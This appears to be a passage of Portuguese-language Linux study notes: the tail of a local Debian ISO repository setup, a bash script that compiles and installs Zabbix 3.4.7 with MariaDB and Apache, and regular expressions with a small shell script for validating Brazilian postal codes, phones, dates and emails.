ls -l /mnt/repo

#Configuração do sources.list para funcionar pelo repositório local

seq 3 | xargs -I@ mount -t iso9660 -o loop,ro /mnt/repo/debian-9.3.0-amd64-BD-@.iso /mnt/share/blu@

seq 3 | xargs -I@ echo deb [trusted=yes] file:/mnt/share/blu@ stretch main contrib > /etc/apt/sources.list

apt update

else

echo "IP inválido"

fi

SCRIPT PARA INSTALAÇÃO DO ZABBIX

#!/bin/bash

#############################################################

# Instalação Zabbix-3.4.7 #

# Debian 9.3 GNU/Linux 2018 #

#############################################################

clear

printf "\n\033[41;1;38mInstalação Zabbix 2017\033[0;0m\n\n"

apt-get update > /dev/null 2> /dev/null

if [ $? != 0 ]; then

printf "\n\033[31mFalha na atualização do repositório Debian\033[0;0m\n\n"

echo ""

else

printf "\n\033[44;1;38m1. Instalado dependências\033[0;0m\n\n"

apt install build-essential snmp vim libssh2-1-dev libssh2-1 libopenipmi-dev libevent\* libpcre\* -y

if [ $? != 0 ]; then

printf "\n\033[31mFalha na Instalação de alguns pacotes\033[0;0m\n\n"

echo ""

else

apt install libsnmp-dev wget libcurl4-gnutls-dev fping libxml2 libxml2-dev curl libcurl3-gnutls -y

if [ $? != 0 ]; then

printf "\n\033[31mFalha na Instalação de alguns pacotes\033[0;0m\n\n"

echo ""

else

apt install libcurl3-gnutls-dev libiksemel-dev libiksemel-utils libiksemel3 -y

if [ $? != 0 ]; then

printf "\n\033[31mFalha na Instalação de alguns pacotes\033[0;0m\n\n"

echo ""

else

apt install apache2 php7.0 php7.0-mysql libapache2-mod-php7.0 php7.0-gd libpq5 libpq-dev mysql-server mysql-client libmariadbd-dev -y

if [ $? != 0 ]; then

printf "\n\033[31mFalha na Instalação de alguns pacotes\033[0;0m\n\n"

echo ""

else

apt install php-bcmath php-mbstring php-ldap php-xml php-xmlreader php-xmlwriter -y

if [ $? != 0 ]; then

printf "\n\033[31mFalha na Instalação de alguns pacotes\033[0;0m\n\n"

echo ""

else

printf "\n\033[44;1;38m2. Criando o banco de dados no MariaDB\033[0;0m\n\n"

mysql -u root -e "create database zabbix character set utf8;"

mysql -u root -e "GRANT ALL PRIVILEGES ON \*.\* TO zabbix@localhost IDENTIFIED BY 'zabbix' WITH GRANT OPTION;"

if [ $? != 0 ]; then

printf "\n\033[31mFalha na criação do banco de dados no MariaDB\033[0;0m\n\n"

echo ""

else

printf "\n\033[44;1;38m3. Configurando o PHP\033[0;0m\n\n"

sed -i 's/;date.timezone =/date.timezone = "America\/Sao\_Paulo"/g' /etc/php/7.0/apache2/php.ini

sed -i 's/max\_execution\_time = 30/max\_execution\_time = 300/g' /etc/php/7.0/apache2/php.ini

sed -i 's/max\_input\_time = 60/max\_input\_time = 300/g' /etc/php/7.0/apache2/php.ini

sed -i 's/post\_max\_size = 8M/post\_max\_size = 16M/g' /etc/php/7.0/apache2/php.ini

sed -i 's/;always\_populate\_raw\_post\_data = -1/always\_populate\_raw\_post\_data = -1/g' /etc/php/7.0/apache2/php.ini

/etc/init.d/apache2 restart

if [ $? != 0 ]; then

printf "\n\033[31mFalha na configuração do PHP\033[0;0m\n\n"

echo ""

else

printf "\n\033[44;1;38m4. Instalando o Zabbix\033[0;0m\n\n"

sleep 2

printf "\n\033[36m4.1. Criando usuário zabbix, descompactando tarball e populando banco\033[0;0m\n\n"

sleep 2

adduser zabbix

cp zabbix-3.4.7.tar.gz /usr/src

cd /usr/src

tar -zxvf zabbix-3.4.7.tar.gz

chmod -R +x zabbix-3.4.7

printf "\n\033[36m4.2. Populando o banco de dados no MariaDB\033[0;0m\n\n"

cat zabbix-3.4.7/database/mysql/schema.sql |mysql -uzabbix -pzabbix zabbix

cat zabbix-3.4.7/database/mysql/images.sql | mysql -uzabbix -pzabbix zabbix

cat zabbix-3.4.7/database/mysql/data.sql | mysql -uzabbix -pzabbix zabbix

printf "\n\033[36m4.3. Compilando e Instalando Zabbix\033[0;0m\n\n"

# sleep 2

cd zabbix-3.4.7/

./configure --enable-server --enable-agent --with-mysql --with-jabber=/usr --with-libcurl=/usr/bin/curl-config --with-ssh2 --with-openipmi --with-libxml2 --with-net-snmp && printf "\n\033[45;1;32mConfigurado\033[0;0m\n\n"

echo ""

# sleep 2

make install && printf "\n\033[45;1;32mCompilado e Instalado\033[0;0m\n\n"

# sleep 2

if [ $? != 0 ]; then

printf "\n\033[31mFalha na Compilação e Instalação Zabbix\033[0;0m\n\n"

echo ""

else

printf "\n\033[44;1;38m5. Configurando Zabbix\033[0;0m\n\n"

# sleep 2

printf "\n\033[36m5.1. Configurando Agent Zabbix\033[0;0m\n\n"

sleep 2

sed -i 's/# PidFile=\/tmp\/zabbix\_agentd.pid/PidFile=\/tmp\/zabbix\_agentd.pid/g' /usr/local/etc/zabbix\_agentd.conf

sed -i 's/# LogFileSize=1/LogFileSize=2/g' /usr/local/etc/zabbix\_agentd.conf

sed -i 's/# DebugLevel=3/DebugLevel=3/g' /usr/local/etc/zabbix\_agentd.conf

sed -i 's/# ListenPort=10050/ListenPort=10050/g' /usr/local/etc/zabbix\_agentd.conf

sed -i 's/Hostname=Zabbix server/Hostname=zabbixServer/g' /usr/local/etc/zabbix\_agentd.conf

sed -i 's/debian/zabbixServer/g' /etc/hostname

sed -i 's/# Timeout=3/Timeout=3/g' /usr/local/etc/zabbix\_agentd.conf

printf "\n\033[36m5.2. Configurando Zabbix Server\033[0;0m\n\n"

sed -i 's/# ListenPort=10051/ListenPort=10051/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# LogFileSize=1/LogFileSize=2/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# PidFile=\/tmp\/zabbix\_server.pid/PidFile=\/tmp\/zabbix\_server.pid/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# DBHost=localhost/DBHost=localhost/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# DBPassword=/DBPassword=zabbix/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# StartIPMIPollers=0/StartIPMIPollers=1/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# StartDiscoverers=1/StartDiscoverers=5/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/Timeout=4/Timeout=3/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# FpingLocation=\/usr\/sbin\/fping/FpingLocation=\/usr\/bin\/fping/g' /usr/local/etc/zabbix\_server.conf

printf "\n\033[36m5.3. Copiando os arquivos de frontend do Zabbix para o diretório /var/www/html/zabbix\033[0;0m\n\n"

mkdir /var/www/html/zabbix

cp -R /usr/src/zabbix-3.4.7/frontends/php/\* /var/www/html/zabbix/

# Tornando os arquivos executáveis

chown -R www-data:www-data /var/www/html/zabbix/

cp /usr/src/zabbix\_server /etc/init.d/

cp /usr/src/zabbix\_agentd /etc/init.d/

chmod +x /etc/init.d/zabbix\_server /etc/init.d/zabbix\_agentd

# Executando

/etc/init.d/zabbix\_server start

/etc/init.d/zabbix\_agentd start

# Habilitando os scripts para serem executados quando o computador for ligado.

echo ""

update-rc.d -f zabbix\_server defaults

update-rc.d -f zabbix\_agentd defaults

if [ $? != 0 ]; then

printf "\n\033[31mFalha na Instalação do Zabbix\033[0;0m\n\n"

echo ""

else

cd

rm /usr/src/script-instalacao\*

rm -rf /usr/src/zabbix\*

printf "\n\033[33mFinalizada Instalação.\033[0;0m\n\n"

fi

fi

fi

fi

fi

fi

fi

fi

fi

fi

EXPRESSÕES REGULARES

**Expressão para filtrar um CEP** - [0-9]{5}-[0-9]{3}

65478-365

**Expressão para filtrar um número de telefone** - [(][0-9]{2}[)]9[0-9]{4}-[0-9]{4}

(11)95874-6358

**Expressão para validar hora** - ([01][0-9]|2[0-3]):[0-5][0-9]

14:00

**Expressão para validar uma data** - ([0-2][0-9]|3[01])/(0[0-9]|1[0-2])/[0-9]{4}

14/12/2000

**Expressão para validar e-mail** - ([0-9]|[a-z]|[A-Z]|[-\_.])\*[@]([0-9]|[a-z]|[A-Z])\*[.]([a-z]|[A-Z]|[.])\*

priscila\_25@bol.uol.com.br

SCRIPT PARA O CEP

#!/bin/bash

echo "Digite um CEP"

read cep

cepValido=$(echo $cep|grep -E "^[0-9]{5}-[0-9]{3}$") #^$ = só aceita a expressão regular; cerca a expressão

#=$() = armazena o resultado de um comando

if [ -z $cepValido ] #-z = nulo

then #-E = versão estendida de expressões regulares

echo "CEP errado"

else

echo "CEP correto"

fi